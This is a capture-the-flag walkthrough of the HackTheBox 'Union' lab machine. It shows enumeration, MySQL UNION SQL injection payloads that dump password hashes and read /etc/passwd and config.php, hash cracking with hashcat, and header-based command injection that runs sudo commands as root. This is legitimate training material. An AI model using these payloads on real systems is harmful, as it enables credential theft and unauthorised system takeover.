# Union
> [!note]
> ["Union" on HackTheBox](https://app.hackthebox.com/machines/418)
> [!important]
> I joined the Discord server for the team I worked on this with ~35 minutes late, as I was having trouble setting up the HackTheBox VPN (the solution was to change my VPN region to EU, then back to US, and *then* re-download the .ovpn file), and then didn't have the right invite link!
>
> Anyways, this was my first box in a *long* time, and boy am I rusty!
The target IP is 10.129.202.139 (at least initially). The index.php page seems to accept any input (`player=foo`), and directs the "player" to the challenge.php page. There's a single-element form here, but it doesn't seem to do anything on submission (`flag=bar`)?
Running [[gobuster]] to try to enumerate potentially common directories:
```bash
gobuster -t 50 dir -u http://10.129.202.139 -w /usr/share/wordlists/dirb/common.txt
```
Results:
```
/css -> /css/
/index.php
```
Not much help there. Let's try the same thing with some common extensions:
```bash
gobuster -t 50 dir -u http://10.129.202.139 \
-w /usr/share/wordlists/dirb/common.txt \
-x .php,.html,.htm,.txt,.md,.js,.css
```
Results:
```
/config.php
/css -> /css/
/firewall.php
/index.php
```
[A general reminder about how to use gobuster.](https://www.freecodecamp.org/news/gobuster-tutorial-find-hidden-directories-sub-domains-and-s3-buckets/)
The /config.php and /firewall.php files look interesting!
- /config.php just returns a zero-length document. Booo!
- /firewall.php just returns `Access Denied` .
Alright, let's try [[Nmap]]:
```bash
sudo nmap -v -oN union -Pn -A --reason -T4 -p- 10.129.202.139
```
Output:
```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 19:24 MDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:24
Completed Parallel DNS resolution of 1 host. at 19:24, 0.02s elapsed
Initiating SYN Stealth Scan at 19:24
Scanning 10.129.202.139 [65535 ports]
Discovered open port 80/tcp on 10.129.202.139
SYN Stealth Scan Timing: About 21.06% done; ETC: 19:26 (0:01:56 remaining)
SYN Stealth Scan Timing: About 55.83% done; ETC: 19:26 (0:00:48 remaining)
Completed SYN Stealth Scan at 19:25, 91.51s elapsed (65535 total ports)
Initiating Service scan at 19:25
Scanning 1 service on 10.129.202.139
Completed Service scan at 19:26, 6.12s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.129.202.139
Retrying OS detection (try #2) against 10.129.202.139
Initiating Traceroute at 19:26
Completed Traceroute at 19:26, 0.07s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 19:26
Completed Parallel DNS resolution of 2 hosts. at 19:26, 0.02s elapsed
NSE: Script scanning 10.129.202.139.
Initiating NSE at 19:26
Completed NSE at 19:26, 5.07s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.22s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Nmap scan report for 10.129.202.139
Host is up, received user-set (0.058s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
| httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (94%), Linux 4.15 - 5.6 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 5.0 (90%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 27.153 days (since Fri Mar 31 15:46:21 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 63.08 ms 10.10.14.1
2 63.24 ms 10.129.202.139
NSE: Script Post-scanning.
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.94 seconds
Raw packets sent: 131215 (5.777MB) | Rcvd: 251 (19.772KB)
```
Well, that's less than helpful; we already knew that there was a web server running on port 80 (and there's nothing else).
Okay, let's try fuzzing the two pages with [[Burp Suite]] and see what we get! Interesting observations...
- /index.php
1. Submitting hexadecimal numbers for `player` (for example, 0x0 or 0xabad1dea) result in only the *first* half of the normal response, without any HTML or the /challenge.php link.
2. You can insert any HTML you'd like, and it gets rendered back in the page.
3. Inputs always seem to be lower-cased before they're returned.
4. `' OR 1=1 -- 1` and `' OR '1'='1` are *also* missing the second half of the response, like the 0x numbers. So maybe we have [[SQL injection attacks|SQL injection]]?
- /challenge.php returns nothing interesting...
(I really need a more targeted fuzzing list than the "big list of naughty strings", as the free version of [[Burp Suite]] throttles Intruder so much that this list takes over 30 minutes to process!)
(Also, be sure to look at the response in **Raw** mode to avoid going down bunny trails about formatting changes that *don't actually exist in the server response*!)
Okay, so not many clues at this point. SQL injection *might* be a thing, but the behavior with hexadecimal numbers is... Odd.
> So, here I'm going to "cheat" a bit. I know from the discussion on Discord that SQL injection *is* a thing for this box, and is, in fact, how you get the first flag. So even though my evidence at this point is circumstantial/weak, I'm going to go that route.
Since `' OR 1=1 -- 1` gave us something interesting, let's send /index.php to Repeater and see what some other values for `player` do for us...
1. `' UNION SELECT '>>>STUFF<<<' -- 1` returns `>>>STUFF<<<` for the user name!
2. `' UNION SELECT @@datadir -- 1` returns `/var/lib/mysql`, so we're dealing with [[MySQL]].
3. `' UNION SELECT schema_name FROM information_schema.schemata -- 1` returns `mysql` ... Which isn't right. It looks like only a single row (probably the last one, given that we only see one row with `UNION` ) is returned.
4. `' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 0 -- 1` also returns `mysql` ... But using `OFFSET 1` returns `information_schema` , so I guess we'll just do it this way. Iterating, we also see databases called `performance_schema` , `sys` , and `november` . All of these are standard [[MySQL]] databases except for `november` .
5. `' UNION SELECT database() -- 1` confirms that we're in the `november` database.
6. `' UNION SELECT table_name FROM information_schema.tables WHERE table_schema != 'november' LIMIT 1 OFFSET 0 -- 1` returns `flag` , and iterating reveals a second table `players` . There doesn't seem to be anything else. The `flag` table looks promising, so let's see what's there.
7. `' UNION SELECT column_name FROM information_schema.columns WHERE table_schema = 'november' and table_name = 'flag' LIMIT 1 OFFSET 0 -- 1` (and iterating) reveals that there's a single column called `one` .
8. `' UNION SELECT COUNT(*) FROM flag -- 1` reveals that there's only a single row in `flag` . Easy!
9. `' UNION SELECT one FROM flag -- 1` then provides a "flag" value.
(The above is made possible using [this handy SQL injection cheat-sheet for MySQL](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet).)
Now, as it turns out, this is *not* a flag for the box! Instead, inputting it into /challenge.php generates the message that `Your IP Address has now been granted SSH Access`.
Let's confirm...
```bash
sudo nmap -v -oN union2 -Pn -A --reason -T4 -p- 10.129.202.139
```
Output:
```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 21:16 MDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 21:16
Completed Parallel DNS resolution of 1 host. at 21:16, 0.01s elapsed
Initiating SYN Stealth Scan at 21:16
Scanning 10.129.202.139 [65535 ports]
Discovered open port 22/tcp on 10.129.202.139
Discovered open port 80/tcp on 10.129.202.139
Completed SYN Stealth Scan at 21:17, 35.32s elapsed (65535 total ports)
Initiating Service scan at 21:17
Scanning 2 services on 10.129.202.139
Completed Service scan at 21:17, 6.12s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.129.202.139
Retrying OS detection (try #2) against 10.129.202.139
Retrying OS detection (try #3) against 10.129.202.139
Retrying OS detection (try #4) against 10.129.202.139
Retrying OS detection (try #5) against 10.129.202.139
Initiating Traceroute at 21:17
Completed Traceroute at 21:17, 0.06s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:17
Completed Parallel DNS resolution of 2 hosts. at 21:17, 0.01s elapsed
NSE: Script scanning 10.129.202.139.
Initiating NSE at 21:17
Completed NSE at 21:17, 1.73s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.27s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.02s elapsed
Nmap scan report for 10.129.202.139
Host is up, received user-set (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
| Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/27%OT=22%CT=1%CU=31913%PV=Y%DS=2%DC=T%G=Y%TM=644B3AD
OS:9%P=aarch64-unknown-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O3=M550NNT11NW7%O4=M550ST11NW7%O5=M
OS:550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)
Uptime guess: 27.230 days (since Fri Mar 31 15:46:20 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 56.02 ms 10.10.14.1
2 56.12 ms 10.129.202.139
NSE: Script Post-scanning.
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.07 seconds
Raw packets sent: 66144 (2.914MB) | Rcvd: 65710 (2.632MB)
```
So, we definitely have an open [[SSH]] port now! But what user to use?
Maybe there's password re-use with [[MySQL]]? Let's see what we've got:
1. `' UNION SELECT COUNT(*) FROM mysql.user -- 1` shows that we have 6 users.
2. `' UNION SELECT user FROM mysql.user LIMIT 1 OFFSET 0 -- 1` (and iterating) shows that these users are `debian-sys-maint`, `mysql.infoschema`, `mysql.session`, `mysql.sys`, `root`, and `uhc`. Both `root` and `uhc` look promising.
3. `' UNION SELECT host FROM mysql.user WHERE user = 'root' -- 1` (and `uhc`) shows that both are permitted to login from `localhost` (though that may not mean anything, since this is just database access).
4. `' UNION SELECT authentication_string FROM mysql.user WHERE user = 'root' -- 1` (and `uhc`) reveals that `root` *doesn't* have a password, but `uhc` does have a password hash. (Apparently there's no `password` column in the `mysql.users` table anymore; it's now called `authentication_string` per [the documentation](https://dev.mysql.com/doc/refman/8.0/en/grant-tables.html#grant-tables-user-db).)
Unfortunately, it turns out that we can't just feed this hash into [[John the Ripper|john]] or [[Hashcat]], but need to [massage things a bit first](https://www.percona.com/blog/brute-force-mysql-password-from-a-hash/).
1. First, we use `' UNION SELECT CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) FROM mysql.user WHERE user = 'uhc'` to get a string that [[Hashcat]] can handle.
2. Then we run `hashcat -m 7401 -O hash.txt rockyou.txt`.
But, this is going to take a loooong time... So, I tried a few other things:
- There's 6 users in the `players` table, but none of them work as passwords (or alternate user names).
- `' UNION SELECT LOAD_FILE('/etc/passwd') -- 1` displays the password file, but I can't access /etc/shadow, so it doesn't look like we're running as root.
- But we can look at other files, including /config.php! And it turns out that there's a cleartext password there that we can read with `' UNION SELECT LOAD_FILE('/var/www/html/config.php') -- 1` : `uhc-11qual-global-pw`. *This works to log in as the `uhc` user!*
The **first flag** is then in the user.txt file in /home/uhc.
Unfortunately, uhc isn't in the sudoers file, and there's no obviously vulnerably SUID binaries or files with loose permissions.
But...
If you run `' UNION SELECT LOAD_FILE('/var/www/html/firewall.php') -- 1` , you'll see that the *web server* has [[sudo]] access, and uses it to make a call to iptables using the value of either the X-Forwarded-For or Remote-Host headers. And since this call is just a concatenation of the value of this header wrapped in [[PHP]]'s `system()` call, that means *I* can insert whatever I want. For example, setting
```http
X-Forwarded-For: 127.0.0.1 -j ACCEPT; sudo ls -la /root ; echo
```
lists the contents of the /root directory, revealing the standard /root/root.txt flag file. And thus
```http
X-Forwarded-For: 127.0.0.1 -j ACCEPT; sudo cat /root/root.txt ; echo
```
will return the contents of that file.
Which just so happens to be the **second flag**.
(Really, I *should* have used this trick to get both flags...)
**Elapsed Time:** 4 h 6 min